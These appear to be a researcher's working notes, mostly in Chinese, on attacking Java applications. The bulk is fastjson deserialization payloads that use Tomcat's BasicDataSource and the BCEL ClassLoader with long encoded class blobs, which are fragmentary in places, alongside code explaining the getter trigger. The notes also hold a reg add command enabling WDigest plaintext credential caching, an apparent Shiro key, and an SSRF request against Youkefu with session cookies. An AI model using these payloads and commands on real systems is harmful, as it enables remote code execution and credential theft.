$ij$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6
$ad$MY$f2$cb$89$c4$a4$u$c$f$8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$aFy$g$7
c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qp1$efc$8a$ac$ebLw$
cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$
83$84$e7p$5e$c2$9f$f1$94$84$bff$e0$af$S$b6$p$S$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e
4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$
df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f
5$c6$b7$b5$S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1
$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$Q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93
$w$cb$LB$cd$x$S$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9
a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6w7$3f4$a8$7fI$abs$d8d$
g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee
$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$
3e0$f6$d3$9c$Yv$a6$Lu$V$r$95$b1$z$bdJ$E$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$
b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tot$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$8
2$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0
$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$S$T$a8$60$ea$86t$cc$F$F$t$9d$96$e1$98$c6b$fa
$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$
o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8
$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$I
l$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$
G$w$3d$93$e6$c8D$d8$937A1$ddws$d2$fe$ff$x9F$99$A$M$fa$ae$b0$9f$e3$98M$U$96$af$b
5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3
T$80$d3$94$d5$a7$89$f3$F$f4$d2$_$0H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5
b$R$cfw$ad$8e$caA$1$TN9$f0A$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$c$cd$e
9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$
eb$O$3a$dd$K$9e$y$95b$x$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$
$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$S$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e
```

\$9a\$J\$y8\$83\$85\$f4\$d7\$e5\$5e3\$bf\$e1\$d4\$R\$d7\$f5\$N\$f3\$97\$f7\$84\$cf\$ba\$96\$90\$fb\$8b\$9a\$3dAO\$60q\$0\$d7\$kvU\$d1\$ee\$V\$b4\$hs\$95\$84\$D\$b5\$q\$d6\$ec\$Nz\$1\$c5\$921\$ee\$a5\$a07\$b0\$94\$I\$81e1\$J\$d9WY\$I\$cd\$be\$y\$f7\$y\$5d\$d5\$db\$s\$g\$9a\$7d\$ee\$V\$7c\$v\$1\$f4\$Jg\$p\$87\$p\$dc\$a9\$a0\$af\$8a\$3f\$8e\$b0\$L\$cdbP\$ID\$f2\$gY\$fd\$a3n\$aa\$3f\$d5\$3e\$e8\$a5\$8dH\$85o\$f6\$3b\$X\$d7\$e5q\$d3\$U\$b3o\$3dyX7\$c5\$D\$cb\$c7q\$3d\$83\$c8\$Z41\$9f\$cfb\$uH\$89\$be\$e10\$94\$a0\$9fi\$be\$d2\$91tz\$a3\$3c\$e8\$f7\$5c\$ee\$88\$K\$9cc\$7d\$c0\$e0\$e5\$b0\$ae\$f0Ng\$89\$7b\$f2\$96\$fc\$de\$Z\$96\$e2d\$c3\$W\$f1\$b4\$5c\$cd\$b3\$hgZ6\$96\$f7\$ec\$de\$ff\$c1\$b3\$c0\$ca\$J\$ac\$ca\$a19\$d0\$c2\$w\$80\$m\$f5\$7c\$TY\$5b\$cd\$5c\$5cC\$z0\$dedQ\$9d\$a7\$aee\$d4u\$0\$b5Y\$M\$fa0\$60\$7d\$fc\$E6\$c4\$83\$e28Zsh\$cba\$e38\$da\$D\$j9l\$caas\$0\$9d\$T\$b8\$89\$e2\$m\$d7Jl\$d7\$c6P5w\$M\$VA\$ff\$E\$b6\$e4\$d0\$e50\$Q\$c5\$97\$85\$ff\$m\$cfe\$_\$ae\$9e\$3c\$b8\$b8\$ec\$85\$t\$b2\$f0la\$8d\$d9\$D\$99pYG\$f0\$earm\$a5\$a7\$83\$e9\$p\$I\$d1\$w\$d0\$c90\$cdZ\$82\$f9\$84\$f1E\$84\$ecZ\$ccB\$3d5\$edZ\$94s\$dbv\$90t\$r\$c9w\$93\$86\$d9\$84\$ec\$wh\$84\$f8\$M\$e6\$e2\$m\$e6\$e1\$k\$92\$ba\$9f\$d0\$7f\$M\$L\$f0\$M\$W\$e2\$3c\$Wq\$d5X\$ccu\$e2Zn\$L\$96p\$fb\$b0\$94\$bb\$h\$cb\$b8\$a3\$Iq\$e7Q\$e7\$aa\$40\$bd\$ab\$92\$90U\$8b\$88k9\$9a\$5c\$x\$b0\$dc\$b5\$Ks\$5d\$eb\$b0\$c2\$d5\$86\$h\$5d\$j\$uqua\$jy\$b9\$c6\$b5\$8d\$feU\$ed\$b5\$bb\$ae\$fc\$0\$aa9\$k\$L\$b9K4\$t\$7c\$f6\$8e\$c7\$ed\$3c\$ee\$a0\$v\$A\$da\$ca\$d4d\$b3x\$f4s\$X\$f0\$a4\$3d\$Yv\$bc\$84C\$dby\$uUR\$c5\$L\$f0\$bd\$I\$ef\$r\$g\$3fn\$5b\$Q\$f87\$bc\$ad\$q\$c3\$e6y\$82\$d4\$bb\$a0\$fe\$H\$d8\$3e\$ebc\$Z\$Q\$A\$A\$}"}}}

所以，我们用fastjson对driverClassName和driverClassLoader赋值即可

为什么会调用到getConnection

getter要求

```
for (Method method : clazz.getMethods()) { // 遍历类 clazz 的所有方法
    String methodName = method.getName(); // 获取方法名
    if (methodName.length() < 4) { // 如果方法名长度小于 4，跳过（避免无效的方法）
        continue;
    }

    if (Modifier.isStatic(method.getModifiers())) { // 如果方法是静态方法，跳过
        continue;
    }

    // 判断方法名是否以 "get" 开头，并且第四个字符（即 "getXxx" 的 'x'）是大写字母
    if (methodName.startsWith("get")
        && Character.isUpperCase(methodName.charAt(3))) {

        // 如果方法有参数，跳过（getter 方法不应有参数）
        if (method.getParameterTypes().length != 0) {
            continue;
        }

        // 判断返回值是否是 Collection、Map 或 Atomic 类型
        if (Collection.class.isAssignableFrom(method.getReturnType()) //
            || Map.class.isAssignableFrom(method.getReturnType()) //
            || AtomicBoolean.class == method.getReturnType() //
            || AtomicInteger.class == method.getReturnType() //
            || AtomicLong.class == method.getReturnType()) {

            String propertyName; // 存储字段名称

            // 获取方法上的 @JSONField 注解
```

```

JSONField annotation = method.getAnnotation(JSONField.class);
if (annotation != null && annotation.deserialize()) {
    // 如果注解存在，并且标注为不可反序列化，则跳过
    continue;
}

if (annotation != null && annotation.name().length() > 0) {
    // 如果 @JSONField 指定了 name，则使用该 name 作为属性名
    propertyName = annotation.name();
} else {
    // 否则，将 "getXxxx" 转换为 "xxxx" 作为属性名
    propertyName = Character.toLowerCase(methodName.charAt(3))
        + methodName.substring(4);
}

// 查找是否已有相同字段名的 FieldInfo
FieldInfo fieldInfo = getField(fieldList, propertyName);
if (fieldInfo != null) { // 如果已存在该字段信息，则跳过
    continue;
}

// 如果有属性命名策略，则转换属性名
if (propertyNameStrategy != null) {
    propertyName = propertyNameStrategy.translate(propertyName);
}

// 将解析出的字段信息添加到 fieldList
add(fieldList, new FieldInfo(
    propertyName, method, null, clazz, type,
    0, 0, 0, annotation, null, null
));
}
}
}

```

toJson

```

ObjectSerializer serializer = config.getObjectWriter(clazz);
if (serializer instanceof JavaBeanSerializer) {
    JavaBeanSerializer javaBeanSerializer = (JavaBeanSerializer)
serializer;

    JSONObject json = new JSONObject();
    try {
        Map<String, Object> values =
javaBeanSerializer.getFieldValuesMap(javaObject);
        for (Map.Entry<String, Object> entry : values.entrySet()) {
            json.put(entry.getKey(), toJson(entry.getValue()));
        }
    } catch (Exception e) {
        throw new JSONException("toJson error", e);
    }
    return json;
}

```



```
{ "xx": { "@type" : "java.lang.Class", "val" :  
"org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "x" : { "name": { "@type" :  
"java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" },  
{ "@type": "com.alibaba.fastjson.JSONObject", "c": {  
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": {  
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" },  
"driverClassName": "$BCEL$$l$8b$I$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f  
2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$  
H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$b6$b0  
$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a  
$e5$c9$7c$$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y  
$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2w$dc$8fx$3c$f4$8f$XBN$b5  
Jb$g$x$P4$x$e3$cf$7c$9a$v$93I$Gw$90$ccs$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$  
87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$Z$aa$P$a4$d3p$q$8  
5f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dv$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1  
K$9a$I9$9b$R$a12$a5$a6$ce$ee$3f0$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3  
$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7w$b  
0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$  
aa$Nzm$e4$C$h$cf$y$j42S$cdk$df1$i$c$80$C$A$A"} } : "xxx" } }
```

```
{"xx":{"@type":"java.lang.Class","val":
:"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"x":{"name":
{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoa
der"},"@type":"com.alibaba.fastjson.JSONObject"},"c":
{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader":
{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":
"$BCEl$$$l$8b$I$A$A$A$A$A$A$8dv$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wx$5$a0$q$7
d$d8V$8lZi$c4b$F$b4F$a5$F$8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae
$ddD$bff$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$c$89$d0$afeq$ee$bd$e7$fe$ce$
ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e
4$U$iw1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98vpZ$o$cep$bc$c2qVE$k$e7Tt$e
2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$
85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a
6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$Z$94$ac$c$9
b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81
$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$c$b1$Sd$3cq$ad
$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$c$cf$wT$c$e1S$G2l$d
66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$d
e$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$v$I$aa
$eb$86$cccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tm$d5$e5$DY$88$867$f0$ss$f5$d9$y$cd1$
u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$
8eC$a6$86$P$ff1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$a
a$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$ff1$8d$86$5b2T$7c$de$aeH$c7q$
d3ve$d1$9dk$f9$8e$af$98$a2$ix$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$v$8a$b4$3aM$M$3d
k6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$
T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$e
b$3c$8e$84$ad$ad$d7v1$D$9bk$eb1$g$b4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9
w$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7e
w$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$c$f7$7c$99$8cr$86$9c$9
a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8e$E$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$a
e$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft$7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88
$c$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dc1$c3$F$99$f7$a47$bc$90$e
ck$v$_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2
C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nk2QS$S$c0$f1D$j$da$d2O$O$da$Ip$ff5$kZ$aaH$M$c5$aa
$88$9f$gL$rZ$efc$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$
j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjs1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2
KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$in$S$ee$93TS$5b$efa$5b$V$3d$v$b
d$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5co$e6u$5e$c5c$a9$5d$8d$91
u$k$3a$ff$J$bbg$ef$a10W$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aad
$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$
bb$n$b4$e306$n$87$OLc3f$b1$F$F$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3
b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$
c4$k$S$b8M$c1S$K$9evp$a8$$$c3M$b8$7FF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQ
L$40E$J$A$A"}}}:"xxx"}}}
```

Todo

弄清楚\$ref和JsonObject调用getter以及版本限制
Selenium复现
bcel1.2.33-1.2.47
fastjson2链子

reg add

```
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"
/v UseLogonCredential /t REG_DWORD /d 1 /f
```

kPH+bIxk5D2deZiXcaaaA==

<https://blog.csdn.net/shuaicenglou3032/article/details/139731751>

<https://vuldb.com/?id.add>

<https://github.com/zhangyanbo2007/youkefu>

During a security assessment of Youkefu, I discovered a Server-Side Request Forgery (SSRF) vulnerability in an endpoint that processes user-supplied URLs. The lack of URL validation allowed attackers to craft malicious requests and exploit the server's network access.

```
GET /res?url?url=http://www.baidu.com HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: remember-me=YWRtaW46MTC0MzA2NTA3NDE2MjphZmU1NjA2MWRlNWVhM2YzNGI0Y2Y0N2ZjM2YyMzNlNQ;
SESSION=868b2ec8-360f-442a-ad93-760a6c63ec63;
JSESSIONID=5932C732F29EE73C419F2DE2B6A84BA5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i
```

flowchart TD

```
    A[AbstractRememberMeManager] --> |base64解码Cookie| B("getRememberedSerializedIdentity()")
    B --> |AES解密后反序列化| C["convertBytesToPrincipals()"]
    C --> |调用子类方法| D["CookieRememberMeManager.getRememberedSerializedIdentity()"]
    D --> |返回解码后的字节数组| E
    E --> |构造函数| F["AbstractRememberMeManager()"]
    F --> |提供cipherService、CipherKey| G
```

